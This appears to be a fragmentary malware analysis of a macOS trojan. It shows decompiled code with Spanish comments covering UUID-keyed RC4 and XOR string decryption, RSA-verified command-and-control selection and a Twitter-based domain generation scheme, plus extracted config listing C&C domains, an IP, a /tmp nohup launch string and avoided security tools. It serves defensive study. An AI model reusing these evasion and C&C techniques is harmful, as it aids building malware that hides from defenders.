


 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 











v9 = IORegistryEntryFromPath(kIOMasterPortDefault_ptr, "IOService:/");  

v10 = *kCFAllocatorDefault_ptr;  

v11 = __CFStringMakeConstantString("IOPlatformUUID");  

uuid_cfstr = IORegistryEntryCreateCFProperty(v9, v11, v10, 0);  

if ( !uuid_cfstr )  

return 0;  

IOObjectRelease(v9);  

uuid = g_uuid_ref;  

CFStringGetCString(uuid_cfstr, g_uuid_ref, 1024, 0);  

CFRelease(uuid_cfstr);  

strings_size = *g_strings_size_ptr;  

strings = (char *)malloc(*g_strings_size_ptr);  

if ( *stat_url )  

{ // Primera ejecución, g_string aún sin cifrar  

memcpy(strings, g_strings, strings_size);  

}  

else  

{ // Necesitamos descifrar los datos uuid_len = strlen(uuid);  

v14 = 0;  

do  

{ // Inicialización de la tabla RC4  

rc4_table[v14] = v14;  

++v14;  



}  

while ( v14 != 256 );  

v15 = rc4_table;  

index = 0;  

v17 = 0;  

v213 = 0;  

v214 = 0;  

do  

{ // Creación de la tabla RC4 usando el UUID de la plataforma como clave  

v18 = index++;  

v19 = *v15;  

v17 += (unsigned __int8)(uuid[(unsigned __int64)(v18 % uuid_len)] + *v15);  

LODWORD(v18) = &rc4_table[(unsigned __int8)v17];  

*v15++ = *(_BYTE *)v18;  

*(_BYTE *)v18 = v19;  

} 

while ( index != 256 );  

LOWORD(index) = 0;  

while ( index < (signed int)strings_size )  

{ // Descifrado del blob cifrado  

++v213;  

v20 = rc4_table[v213] + v214;  

v21 = &rc4_table[v213];  

v214 = v20;  



v22 = &rc4_table[v20];  

v23 = *v21;  

*v21 = *v22;  

*v22 = v23;  

strings[index] = rc4_table[(unsigned __int8)(rc4_table[v214] + 

rc4_table[v213])] ^ g_strings[index];  

++index;  

}  

} 

get_string(&strings_struct, 0xD18Fu, 0xDC737201735473FAuLL, (char *)&v240, 

&v239); 

get_string(&strings_struct, 0xF12Eu, 0x4748FF63A8193474uLL, (char *)&v252, 

&v251); 



get_string(&strings_struct, 0xE002u, 0x836391EF93A94401uLL, (char *)&v250, 

&v249); 

get_string(&strings_struct, 0x6C8Au, 0x9183AACBE1931244uLL, (char *)&v248, 

&v247); 

... 

signed int __cdecl get_string(strings_s *strings_struct, unsigned __int16 key, 

unsigned __int64 xor_key, char **decrypted, int *decrypted_size) 

{  

signed int v5; // eax@1  

signed int ret_value; // edx@1  

char *value; // esi@2  

int key_byte; // ecx@2  

int i; // ebx@2  

char xored_value; // dl@3  

v5 = find_string(strings_struct, key, decrypted, decrypted_size);  

ret_value = 5;  

if ( v5 != 5 )  

{  

value = *decrypted;  

key_byte = 0;  

for ( i = 0; i < *decrypted_size; ++i )  

{  

xored_value = *((_BYTE *)&xor_key + key_byte++) ^ value[i];  

value[i] = xored_value;  

if ( key_byte == 8 )  



key_byte = 0;  

}  

ret_value = 0;  

}  

return ret_value; 

} 

 

 

 

 

 



$ python extract_dropper_config.py sbm 

Filename : sbm 

MD5 : 473426b7be5335816c545036cc724021 

SHA1 : 94e4b5112e750c7902968d97237618f5b61efeb2 

0x0fa7 : Public Key Exponent : 65537 

0xd18f : Public Key Modulus : 55ead1182a...81be12abef (2048 bits) 

0x6192 : 0xdedbe511, 0x1f2e4872, 0x237345de 

0x1f91 :  

[00] .com  

...  

[04] .kz 

0x4280 :  

[00] ##begin##  

[01] ##sign##  

[02] ##end##  

[03] /index.html  



[04] Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1; sv:%s; id:%s) 

Gecko/20100101 Firefox/9.0.1  

[05] nohup "%s" 1>&2 &>/dev/null &  

[06] /tmp/ 

0x6c8a :  

[00] 4  

[01] sysctl.proc_cputype 

0x92be :  

[00] pioqzqzsthpcva.net  

[01] lpjwscxnwpqkaq.com 

  

[23] kkkgmnbgzrajkk.com  

[24] ahvpufwqnqcad.com 

0x92fa :  

[00] /Library/Little Snitch  

[01] /Developer/Applications/Xcode.app/Contents/MacOS/Xcode  

  

[06] /Applications/HTTPScoop.app  

[07] /Applications/Packet Peeper.app 

0xe002 :  

[00] _NSGetExecutablePath  

[01] CFStringCreateWithCString  

  

[30] BN_bin2bn  

[31] RSA_new 



0xf12e :  

[00] /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit  

  

[05] /usr/lib/libcrypto.dylib 

 

 

 



##begin## 

<base64 encoded executable> 

##sign## 

<base64 encoded signature> 

##end## 



 

 

 



std::allocator<char>::allocator(&v29); 

std::string::string(&base64_config, (const char *)base64_config_ref + 5, 

&v29); 

base64_decode(&crypted_config, &base64_config); 

std::string::_string(&base64_config); 

std::allocator<char>::_allocator(&v29); 

rc4_crypt(&v10, &a2->uuid, &crypted_config); 

std::allocator<char>::allocator(&v30); 

std::string::string(&static_rc4_key, g_rc4_key, g_rc4_key_size, &v30); 

rc4_crypt(&v20, &static_rc4_key, &v10); 

uncompress_h(&plain_text_config, (const Bytef **)&v20); 

...{2588545561:3:OTk5},{201539444:3:aHR0cDovLw==}, 

{3604130400:3:U2FmYXJ8V2ViUHJv}... 



MWU5MWNiNjJjZDVlYTMwN2E5OWYxZGYzMDU2MmE5NmRiOTUzMTYyNg==|OKOnEr8jeQuUW[...]mlB

W2M= 

v9 = get_item_at_index(&v20, 0); // La primera parte, antes de la barra 

vertical (|) 

std::string::string(&a2, v9); 

base64_decode(&hex_digest, &a2); 

std::string::_string(&a2); 

v10 = get_item_at_index(&v20, 1); // La segunda parte, despu s de la barra 

vertical (|) 

std::string::string(&v25, v10); 

base64_decode(&signature, &v25); 

std::string::_string(&v25); 

if ( verify_signature_with_rsa(system_info->rsa, &hex_digest, &signature) ) 

{  



cnc_hostname = get_item_at_index(&cnc_list, cnc_index);  

sha1_hexdigest(&cnc_hostname_hash, cnc_hostname);  

v12 = std::string::compare(&cnc_hostname_hash, &hex_digest, v15);  

std::string::_string(&cnc_hostname_hash);  

if ( !v12 )  

{  

valid_cnc = get_item_at_index(&v19, cnc_index);  

if ( !system_info )  

system_info = create_system_info();  

set_cnc(system_info, valid_cnc); 

base64(sha1('95.154.246.120') in hex)=> 

MWU5MWNiNjJjZDVlYTMwN2E5OWYxZGYzMDU2MmE5NmRiOTUzMTYyNg== 



__cstring:00022364 aBidok db 'BIDOK',0 ; DATA XREF: sub_13522+6D7o 

__cstring:0002236A aBidfail db 'BIDFAIL',0 ; DATA XREF: sub_13522+78Eo 

__cstring:00022372 aH_setup db 'H_SETUP',0 ; DATA XREF: sub_13522+7BAo 

__cstring:0002237A aAdd_s db 'ADD_S',0 ; DATA XREF: sub_13522+889o 

__cstring:00022380 aMu db 'MU',0 ; DATA XREF: 

sub_13522+8EDo 

__cstring:00022383 aSk db 'SK',0 ; DATA XREF: sub_13522+951o 

generate_string_for_day(&generated_string_for_day, user_agent, day, month, 

year); 

get_config_string(&v14, &twitter_config, 0xE21C0275u);// 

http://mobile.twitter.com/searches?q=%23 

base64_decode_string(&v26, &v14); 

string_concat(&twitter_url, &v26, &generated_string_for_day); 

std::string::_string(&v26);std::string::_string(&v15); 

get_config_string(&v16, &twitter_config, 0xEE3A469Du);// Mozilla/4.0 

(compatible; MSIE 7.0; Windows Phone OS 7.0; 

Trident/3.1; IEMobile/7.0; HTC; 7 Mozart T8698) 

base64_decode_string(&random_user_agent, &v16); 



std::string::_string(&v17); 

get_config_string(&v18, &twitter_config, 0x37CF19CAu);// 442 

user_agent_count = string_to_integer(&v18); 

std::string::_string(&v19); 

if ( user_agent_count > 1 ) 

{  

random_int = rand();  

get_config_string(&user_agent_b64, &twitter_config, random_int % 

user_agent_count + 0xAEEE0000);  

base64_decode_string(&v27, &user_agent_b64);// 0xAEEE0000 to 0xAEEE01B9 

contains User Agent string of several mobile devices  

std::string::assign(&random_user_agent, &v27);  

std::string::_string(&v27);  

std::string::_string(&v21); 

} 

make_http_request(&v29, &twitter_url, 

&random_user_agent);get_config_string(&v22, &twitter_config, 0x9FC4EBA3u);// 

bumpbegin 

base64_decode_string(&v28, &v22); 

std::string::_string(&v23); 

get_config_string(&v12, &twitter_config, 0xEAC11340u);// endbump 

base64_decode_string(&v32, &v12); 

std::string::_string(&v13); 

v7 = std::string::find(&v29, &v28); 

v8 = std::string::find(&v29, &v32); 



1 : abcd 

2 : efgh 

3 : ijkl 

Key : 0xb78140d6 

Value : .org|.com|.co.uk|.cn|.in 



Key : 0xb78140d6 

Value : 

.org|.com|.co.uk|.cn|.in|.PassingGas.net|.MyRedirect.us|.rr.nu|.Kwik.To|.myfw.

us|.OnTheWeb.nu|.IsTheBe.st|.Kwik.To|.ByInter.net|FindHere.org|.OnTheNetAs.com

|.UglyAs.com|.AsSexyAs.com|.PassAs.us|.PassingGas.net|.AtHisSite.com|.AtHerSit

e.com|.IsGre.at|.Lookin.At|.BestDeals.At|.LowestPrices.At 








